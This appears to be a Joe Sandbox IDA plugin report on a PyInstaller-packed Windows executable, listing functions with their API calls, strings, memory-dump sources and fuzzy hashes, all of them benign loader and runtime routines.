Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 2512fbdb768b8aa149cdf9070e354e8befd28865d8375289a040942718875d56
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: B031F622B08B4142E760BB65B8502ABB695BF887C8F810135EF6D6B7D9DF3CD546C390

Function 00007FF7F3DDDCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDD4D
GetLastError.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDD85
FreeLibrary.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDDF3
GetProcAddress.KERNEL32(?,?,?,00007FF7F3DDDF7A,?,?,?,00007FF7F3DDDC6C,?,?,?,00007FF7F3DDD869), ref: 00007FF7F3DDDDFF

Strings

api-ms-, xrefs: 00007FF7F3DDDD6D

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 49d4018a666ae8789ed039aaefa646c712ae924cde501a2b2e9f5a88cd3f76e4
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 5A319321B1A741D1EF91AB92A4006B5B394FF48BA4F994535DD3D2E3C8DE3CE44482B0

Function 00007FF7F3DD6360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

LoadLibrary, xrefs: 00007FF7F3DD64AE
ucrtbase.dll, xrefs: 00007FF7F3DD63DD
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF7F3DD6407
Failed to load Python DLL '%ls'., xrefs: 00007FF7F3DD64A7
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF7F3DD6456
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF7F3DD63C7

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction ID: 2e98aeb31ad3609f410d40d03e7cd1250b60627e667e6268e44fecb39f8131b8
Opcode Fuzzy Hash: 2df6df0904ecf2e68063807813f252f2c523520ae69ca8fe89000ee1ae80a761
Instruction Fuzzy Hash: C5414221A1C68691EBA1EBA0E4552E9B321FF44384FC00132EA7D6B6D9DF3CE515C7E0

Function 00007FF7F3DD2A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF7F3DD351A,?,00000000,00007FF7F3DD3F1B), ref: 00007FF7F3DD2AA0

Strings

Warning, xrefs: 00007FF7F3DD2B1E
0, xrefs: 00007FF7F3DD2B16
[PYI-%d:%s] , xrefs: 00007FF7F3DD2AA8
WARNING, xrefs: 00007FF7F3DD2AAF
Warning [ANSI Fallback], xrefs: 00007FF7F3DD2B0F

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 2338e62373cab731f4bafcc08fc800363c258485d9f93c51be2473388b693a90
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 2921A37261978242E7A0ABA1F8817E6B394FB883C0F800135FE9D6B699DF3CD1458790

Function 00007FF7F3DEB150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7F3DEB15F
FlsGetValue.KERNEL32 ref: 00007FF7F3DEB174
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB195
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB1C2
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB1D3
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB1E4
SetLastError.KERNEL32 ref: 00007FF7F3DEB1FF

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction ID: 6397378a33eb6dfd7396cd54dd04011d575d1aab3762eaaa148440c2ef8a86e4
Opcode Fuzzy Hash: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction Fuzzy Hash: E3216D24A0E64341F7DC73A19A52239DA525F447B0FC14734DC7E6EBC6DD2CB48043A2

Function 00007FF7F3DF7D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7F3DF7D9D
GetLastError.KERNEL32 ref: 00007FF7F3DF7DA9
CloseHandle.KERNEL32 ref: 00007FF7F3DF7DC1
CreateFileW.KERNEL32 ref: 00007FF7F3DF7DEC
WriteConsoleW.KERNEL32 ref: 00007FF7F3DF7E0B

Strings

CONOUT$, xrefs: 00007FF7F3DF7DCD

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 9b6a9472490d9b769d5be196821b737aa5cb5c82b1e9c9949af106ac281c8a4d
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 53119A21718A4186E790AB52E894329A2A0FF88BE4F800234DD7E9F7D4DF7CD5148790

Function 00007FF7F3DD8ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD8EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD8F5A

Part of subcall function 00007FF7F3DD9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7F3DD45F4,00000000,00007FF7F3DD1985), ref: 00007FF7F3DD93C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD8FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD9044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD9055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD906A

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction ID: 40145a9dcc7ae26b6c931567a13f5dbdef37355701136006c814a1a5faf4dccd
Opcode Fuzzy Hash: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction Fuzzy Hash: 3441D961A1968281EBB0BB61B4402BAB394FF84BC4F844135DF6DAB7C9DE3DE511C790

Function 00007FF7F3DEB2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB2D7
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB30D
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB33A
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB34B
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB35C
SetLastError.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB377

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction ID: c5d781daee3a063b7547994cd98520d5f517218cb54cb10e4bd36e75af17cfe5
Opcode Fuzzy Hash: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction Fuzzy Hash: D8113A20E0D64282F7DC73A19642139D9469F447A0FD54734DC7E6EAD6DE6CB48143A2

Function 00007FF7F3DD2910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7F3DD1B6A), ref: 00007FF7F3DD295E

Strings

Error, xrefs: 00007FF7F3DD2A0E
[PYI-%d:ERROR] , xrefs: 00007FF7F3DD2966
Error [ANSI Fallback], xrefs: 00007FF7F3DD29FF
%s: %s, xrefs: 00007FF7F3DD29E8

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: d67a4eee5423aefc265e6fa62ea03babe85d61feead22d1ec5c153e67b4c86d0
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: CC312862B1968142E790B7A5B8406E7B295BF887D4F800131FEADAB789DF3CD1468390

Function 00007FF7F3DD2390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7F3DD23C8
DialogBoxIndirectParamW.USER32 ref: 00007FF7F3DD248E
DeleteObject.GDI32 ref: 00007FF7F3DD24C1
DestroyIcon.USER32 ref: 00007FF7F3DD24D3

Strings

Unhandled exception in script, xrefs: 00007FF7F3DD23F8

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction ID: 7e6a71673e423b3a4212b38f906b364629daf10781857dc4f7c35500625a236b
Opcode Fuzzy Hash: 1a8653f9ef4157c26f2335c81c204ff7a5d47729ffdf6617f9212c2ec85f79f4
Instruction Fuzzy Hash: 03319272619A8285EBA4EBB1E8542F9B360FF88784F840135EE5D5BB89DF3CD141C750

Function 00007FF7F3DD2B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF7F3DD918F,?,00007FF7F3DD3C55), ref: 00007FF7F3DD2BA0
MessageBoxW.USER32 ref: 00007FF7F3DD2C2A

Strings

[PYI-%d:%ls] , xrefs: 00007FF7F3DD2BA8
Warning, xrefs: 00007FF7F3DD2C1D
WARNING, xrefs: 00007FF7F3DD2BAF

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: 3055df954e2b3d5bd7d7a290782d4073e45d36552c9a0a8594bc5bb4e2f4d773
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 7421E562709B4182E751ABA4F8807EAB364FB887C0F800135EE9D6B799DF3CD245C790

Function 00007FF7F3DD2710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF7F3DD1B99), ref: 00007FF7F3DD2760

Strings

Error, xrefs: 00007FF7F3DD27DE
Error [ANSI Fallback], xrefs: 00007FF7F3DD27CF
[PYI-%d:%s] , xrefs: 00007FF7F3DD2768
ERROR, xrefs: 00007FF7F3DD276F

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: 567157e596f86f5239f0376b56b1dbb57d0e5dc230794ac905fcb71b7fdcb9ab
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: 8F21A67261978152E7A0ABA1F8817E6B394EF883C0F800135FE9D67699DF3CD1458790

Function 00007FF7F3DE9A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7F3DE9AAD
GetProcAddress.KERNEL32 ref: 00007FF7F3DE9AC3
FreeLibrary.KERNEL32 ref: 00007FF7F3DE9AEA

Strings

CorExitProcess, xrefs: 00007FF7F3DE9ABC
mscoree.dll, xrefs: 00007FF7F3DE9AA4

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 3407cf8a558331a01aeb401f858656d33aa12e054d4b196cec205c9ccbf1a42e
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: 49F0C861B0A70681EB94ABA0E48473A9760FF45764F840335C97E5E1E8CF3CD084C3A0

Function 00007FF7F3DF9368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7F3DF9390
_set_statfp.LIBCMT ref: 00007FF7F3DF93AB
_set_statfp.LIBCMT ref: 00007FF7F3DF93C7
_set_statfp.LIBCMT ref: 00007FF7F3DF9403

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 7bd888f195acad3f54dca21b5bce1121a1b453f0fb4377b6c8e2670ea6b44924
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: CF118622D5CA4381F7E831F5E4D1379A090AF5936CF840634EA7E3E6DE8E7C644141A0

Function 00007FF7F3DEB390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB3AF
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB3CE
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB3F6
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB407
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DEA5A3,?,?,00000000,00007FF7F3DEA83E,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEB418

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction ID: ae4ffe7bfd6d462ffd2f109e2f93de5e328a4a68a7ad24208f5a5b099be51442
Opcode Fuzzy Hash: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
